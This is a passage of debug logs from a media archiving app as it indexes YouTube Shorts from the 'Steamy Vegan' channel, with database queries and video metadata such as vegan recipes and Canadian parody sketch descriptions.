= ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this funny parody sketch we discuss how to lose your Canadian citizenship. Check out the full 12 minute episode live on the channel by subscribing!", "How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts", "2febc436-bfa4-46f7-9844-665a15c2b443", 1, [], 15, false, "bc4Qb2G1K9o", "https://www.youtube.com/shorts/bc4Qb2G1K9o", 194, "/downloads/downloads/alec/Steamy Vegan/2022-12-20 How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts/How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts [bc4Qb2G1K9o].NA", false, false, true, 0, ~U[2022-12-20 20:33:16Z], ~U[2026-03-22 03:26:35Z], ~U[2026-03-22 03:26:35Z], "In this funny parody sketch we discuss how to lose your Canadian citizenship. Check out the full 12 minute episode live on the channel by subscribing!", "How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts", 1, 15, false, "bc4Qb2G1K9o", "https://www.youtube.com/shorts/bc4Qb2G1K9o", "/downloads/downloads/alec/Steamy Vegan/2022-12-20 How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts/How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts [bc4Qb2G1K9o].NA", true, ~U[2022-12-20 20:33:16Z]] 20:26:35.454 [debug] QUERY OK source="sources" db=0.6ms idle=379.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:35.454 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:35.455 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [583] 20:26:35.455 [debug] Current batch of media processed. Will check again in 1000ms 20:26:36.456 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I made this bomb #oilfree chimichurri sauce with rescued produce from my fave @pekoproduce! 🥬 Chimichurri is the *perfect* everything sauce ‘cause you can put it on practically anything! 🌿 Plus its a great way to use up that boatload of fresh parsley that’s waiting to die 💀 in your fridge. \n\n1 packed cup fresh parsley (rescued!)\n1/2 packed cup fresh cilantro\n1 avocado\n2 small green chillies (rescued!)\nJuice of 1/2 lemon (rescued!) \n2-4 cloves garlic, peeled\n1/2 cup diced green onion (rescued!)\n1 tsp dried oregano\n1 tsp smoked paprika\n1/2 tsp salt\n1/4 cup red wine vinegar\n\nAdd all the ingredients, except the lemon juice and the vinegar to your food processor. Process until finely chopped.\nThen transfer the herbs to a bowl or jar and pour in the lime juice and vinegar. Mix well and let rest for 1 hour to blend the flavours. Serve with your favourite grilled foods, use as a dip, spread or condiment! \n\n✅ FOOD SAVING TIP: Save the herb stems and freeze them to make flavourful homemade veggie broth! 🍲 \n\nUse promo code STEAMYVEGANKITCHEN10 at checkout on your first order from @pekoproduce! www.pekoproduce.com OR click that link in my bio, frenzzzz 🍊\n\n#steamyvegankitchen #steamyvegan #pekoproduce #grocerydelivery #cookinghealthy #eatwholefoods #eatwellbewell #sustainablefood #sustainablegroceries #sustainablelife #sustainableshopping #reducewaste #zerowaste #lovefoodhatewaste #thriftymeals #thriftycooking #cheapvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-12-20 You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts/You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts [CAm1OTLuvjU].NA", "id" => "CAm1OTLuvjU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/CAm1OTLuvjU", "playlist_index" => 195, "timestamp" => 1671559068, "title" => "You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts", "upload_date" => "20221220"} 20:26:36.457 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:36.458 [debug] QUERY OK source="sources" db=0.4ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:36.460 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-20 17:57:48Z], 1] 20:26:36.462 [debug] QUERY OK source="media_items" db=1.2ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I made this bomb #oilfree chimichurri sauce with rescued produce from my fave @pekoproduce! 🥬 Chimichurri is the *perfect* everything sauce ‘cause you can put it on practically anything! 🌿 Plus its a great way to use up that boatload of fresh parsley that’s waiting to die 💀 in your fridge. \n\n1 packed cup fresh parsley (rescued!)\n1/2 packed cup fresh cilantro\n1 avocado\n2 small green chillies (rescued!)\nJuice of 1/2 lemon (rescued!) \n2-4 cloves garlic, peeled\n1/2 cup diced green onion (rescued!)\n1 tsp dried oregano\n1 tsp smoked paprika\n1/2 tsp salt\n1/4 cup red wine vinegar\n\nAdd all the ingredients, except the lemon juice and the vinegar to your food processor. Process until finely chopped.\nThen transfer the herbs to a bowl or jar and pour in the lime juice and vinegar. Mix well and let rest for 1 hour to blend the flavours. Serve with your favourite grilled foods, use as a dip, spread or condiment! \n\n✅ FOOD SAVING TIP: Save the herb stems and freeze them to make flavourful homemade veggie broth! 🍲 \n\nUse promo code STEAMYVEGANKITCHEN10 at checkout on your first order from @pekoproduce! www.pekoproduce.com OR click that link in my bio, frenzzzz 🍊\n\n#steamyvegankitchen #steamyvegan #pekoproduce #grocerydelivery #cookinghealthy #eatwholefoods #eatwellbewell #sustainablefood #sustainablegroceries #sustainablelife #sustainableshopping #reducewaste #zerowaste #lovefoodhatewaste #thriftymeals #thriftycooking #cheapvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts", "05773cee-bb2e-47cc-a2d1-ecc809d372e9", 1, [], 15, false, "CAm1OTLuvjU", "https://www.youtube.com/shorts/CAm1OTLuvjU", 195, "/downloads/downloads/alec/Steamy Vegan/2022-12-20 You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts/You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts [CAm1OTLuvjU].NA", false, false, true, 1, ~U[2022-12-20 17:57:48Z], ~U[2026-03-22 03:26:36Z], ~U[2026-03-22 03:26:36Z], "I made this bomb #oilfree chimichurri sauce with rescued produce from my fave @pekoproduce! 🥬 Chimichurri is the *perfect* everything sauce ‘cause you can put it on practically anything! 🌿 Plus its a great way to use up that boatload of fresh parsley that’s waiting to die 💀 in your fridge. \n\n1 packed cup fresh parsley (rescued!)\n1/2 packed cup fresh cilantro\n1 avocado\n2 small green chillies (rescued!)\nJuice of 1/2 lemon (rescued!) \n2-4 cloves garlic, peeled\n1/2 cup diced green onion (rescued!)\n1 tsp dried oregano\n1 tsp smoked paprika\n1/2 tsp salt\n1/4 cup red wine vinegar\n\nAdd all the ingredients, except the lemon juice and the vinegar to your food processor. Process until finely chopped.\nThen transfer the herbs to a bowl or jar and pour in the lime juice and vinegar. Mix well and let rest for 1 hour to blend the flavours. Serve with your favourite grilled foods, use as a dip, spread or condiment! \n\n✅ FOOD SAVING TIP: Save the herb stems and freeze them to make flavourful homemade veggie broth! 🍲 \n\nUse promo code STEAMYVEGANKITCHEN10 at checkout on your first order from @pekoproduce! www.pekoproduce.com OR click that link in my bio, frenzzzz 🍊\n\n#steamyvegankitchen #steamyvegan #pekoproduce #grocerydelivery #cookinghealthy #eatwholefoods #eatwellbewell #sustainablefood #sustainablegroceries #sustainablelife #sustainableshopping #reducewaste #zerowaste #lovefoodhatewaste #thriftymeals #thriftycooking #cheapvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts", 1, 15, false, "CAm1OTLuvjU", "https://www.youtube.com/shorts/CAm1OTLuvjU", "/downloads/downloads/alec/Steamy Vegan/2022-12-20 You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts/You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts [CAm1OTLuvjU].NA", true, ~U[2022-12-20 17:57:48Z]] 20:26:36.462 [debug] QUERY OK source="sources" db=0.2ms idle=385.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:36.463 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:36.463 [debug] QUERY OK source="media_items" db=0.3ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [584] 20:26:36.464 [debug] Current batch of media processed. Will check again in 1000ms 20:26:37.465 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This is our patent pending, handy dandy, hoser holster, the must have item for all Canadians eh. For those moments when you're chopping wood and need to put your Timmies double double somewhere.\n\nCheck out the full episode here: https://youtu.be/ZVkQc7OurII\n\nLike and subscribe for more weekly taste tests and vegan and gluten free recipe ideas. Thanks for watching eh.\n\n@CBCNews @CBCTheNational @22Minutes", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-12-19 The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts/The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts [HS6bHaXPpY0].NA", "id" => "HS6bHaXPpY0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HS6bHaXPpY0", "playlist_index" => 196, "timestamp" => 1671471081, "title" => "The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts", "upload_date" => "20221219"} 20:26:37.466 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:37.467 [debug] QUERY OK source="sources" db=0.5ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:37.469 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-19 17:31:21Z], 1] 20:26:37.472 [debug] QUERY OK source="media_items" db=2.6ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is our patent pending, handy dandy, hoser holster, the must have item for all Canadians eh. For those moments when you're chopping wood and need to put your Timmies double double somewhere.\n\nCheck out the full episode here: https://youtu.be/ZVkQc7OurII\n\nLike and subscribe for more weekly taste tests and vegan and gluten free recipe ideas. Thanks for watching eh.\n\n@CBCNews @CBCTheNational @22Minutes", "The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts", "8df129b2-fcf8-434a-a995-a19ca33cb2cb", 1, [], 59, false, "HS6bHaXPpY0", "https://www.youtube.com/shorts/HS6bHaXPpY0", 196, "/downloads/downloads/alec/Steamy Vegan/2022-12-19 The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts/The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts [HS6bHaXPpY0].NA", false, false, true, 0, ~U[2022-12-19 17:31:21Z], ~U[2026-03-22 03:26:37Z], ~U[2026-03-22 03:26:37Z], "This is our patent pending, handy dandy, hoser holster, the must have item for all Canadians eh. For those moments when you're chopping wood and need to put your Timmies double double somewhere.\n\nCheck out the full episode here: https://youtu.be/ZVkQc7OurII\n\nLike and subscribe for more weekly taste tests and vegan and gluten free recipe ideas. Thanks for watching eh.\n\n@CBCNews @CBCTheNational @22Minutes", "The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts", 1, 59, false, "HS6bHaXPpY0", "https://www.youtube.com/shorts/HS6bHaXPpY0", "/downloads/downloads/alec/Steamy Vegan/2022-12-19 The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts/The Canadian Hoser Holster 🇨🇦 A must have for all Canadians #shorts #youtubeshorts [HS6bHaXPpY0].NA", true, ~U[2022-12-19 17:31:21Z]] 20:26:37.473 [debug] QUERY OK source="sources" db=0.4ms idle=394.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:37.473 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:37.474 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [585] 20:26:37.474 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "WORLD’S BEST CHOCOLATE CHIP COOKIE! 🍪 Have you been looking for the best vegan chocolate chip cookie recipe? Look no further as WE GOT YOU COVERED with the cookie recipe of your dreams. 😌 \n\nThese Healthy Vegan and Gluten-Free Chocolate Chip Cookies are soft and gooey in the middle, crispy on the edges and have the most buttery 🧈 velvety smooth taste and texture you’ll EVER try. 🤤 They’re also refined sugar free, oil-free, nut-free optional, and made mostly from whole plant foods! 🌱\n\nFULL RECIPE VIDEO ON OUR CHANNEL ➡️ THE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪Oil-free, refined sugar-free, gluten-free\nhttps://youtu.be/6BCUlPOw_Mw\n\nTHE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIES \n1/2 cup creamy nut/seed butter (any variety will work)\n1/4 cup coconut sugar (or brown)\n1/4 cup maple syrup\n1 tsp vanilla extract\n1 flax egg (1 tbsp ground flax seeds + 3 tbsp water, let sit 10 mins)\n2 tbsp almond flour\n1/2 cup + 2 tsp oat flour\n1/2 tsp each baking powder and baking soda\nheaping 1/3 cup vegan chocolate chips OR a mix of raisins and choc chips\n1/4 tsp salt\n\nPreheat oven to 350° F, set oven rack to middle and line a baking sheet with parchment paper or silicone mat.\nIn a large mixing bowl, add the nut/seed butter, coconut sugar, maple syrup, vanilla and flax egg and whisk until its a thick, creamy mixture.\nIn a separate smaller bowl, combine the oat and almond flour, plus the baking powder, soda and salt.\nAdd the dry ingredients into the wet mixture and fold until it forms a very sticky dough. Add your choc chips and raisins until just combined.\nScoop about 2 tbsp sized dollops of dough onto the baking tray, about 2” apart. Try and form them so they’re round-ish. With dampened fingers, gently press into the tops of the cookies to slightly flatten them.\nBake for 10 to 12 minutes, remove from oven and place try on cooling rack. They will seem undercooked but let cool in the pan for 15-20 minutes. They will firm up until they’re perfectly soft with delicately crisped edges. ENJOY!\n\n#steamyvegankitchen #steamyvegan #healthybaking #healthycookies #healthytreats #chocolate #chocolatechip #chocolatechipcookies #veganbaking #food52 #food52grams #food52community #thefeedfeed #thefeedfeedbaking #thefeedfeedvegan #thefeedfeedglutenfree #thefeefeedchocolate #whatscooking", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-12-01 The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts/The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts [fUSRzUa5Sp4].NA", "id" => "fUSRzUa5Sp4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/fUSRzUa5Sp4", "playlist_index" => 197, "timestamp" => 1669937469, "title" => "The BEST Healthy Chocolate Chip Cookie Recipe… EVER! 🍪 Vegan, gluten-free #youtubeshorts#shorts", "upload_date" => "20221201"} 20:26:37.475 [debug] QUERY OK source="sources" db=0.6ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:37.475 [debug] QUERY OK source="sources" db=0.3ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:37.478 [debug] QUERY OK source="media_items" db=1.8ms idle=3.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-01 23:31:09Z], 1] 20:26:37.484 [debug] QUERY OK source="media_items" db=5.2ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["WORLD’S BEST CHOCOLATE CHIP COOKIE! 🍪 Have you been looking for the best vegan chocolate chip cookie recipe? Look no further as WE GOT YOU COVERED with the cookie recipe of your dreams. 😌 \n\nThese Healthy Vegan and Gluten-Free Chocolate Chip Cookies are soft and gooey in the middle, crispy on the edges and have the most buttery 🧈 velvety smooth taste and texture you’ll EVER try. 🤤 They’re also refined sugar free, oil-free, nut-free optional, and made mostly from whole plant foods! 🌱\n\nFULL RECIPE VIDEO ON OUR CHANNEL ➡️ THE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIE RECIPE EVER 🍪Oil-free, refined sugar-free, gluten-free\nhttps://youtu.be/6BCUlPOw_Mw\n\nTHE BEST HEALTHY VEGAN CHOCOLATE CHIP COOKIES \n1/2 cup creamy nut/seed butter (any variety will work)\n1/4 cup coconut sugar (or brown)\n1/4 cup maple syrup\n1 tsp vanilla extract\n1 flax egg (1 tbsp ground flax seeds + 3 tbsp water, let sit 10 mins)\n2 tbsp almond flour\n1/2 cup + 2 tsp oat flour\n1/2 tsp each baking powder and baking soda\nheaping 1/3 cup vegan chocolate chips OR a mix of raisins and choc chips\n1/4 tsp salt\n\nPreheat oven to 350° F, set oven rack to middle and line a baking sheet with parchment paper or silicone mat.\nIn a large mixing bowl, add the nut/seed butter, coconut sugar, maple syrup, vanilla and flax 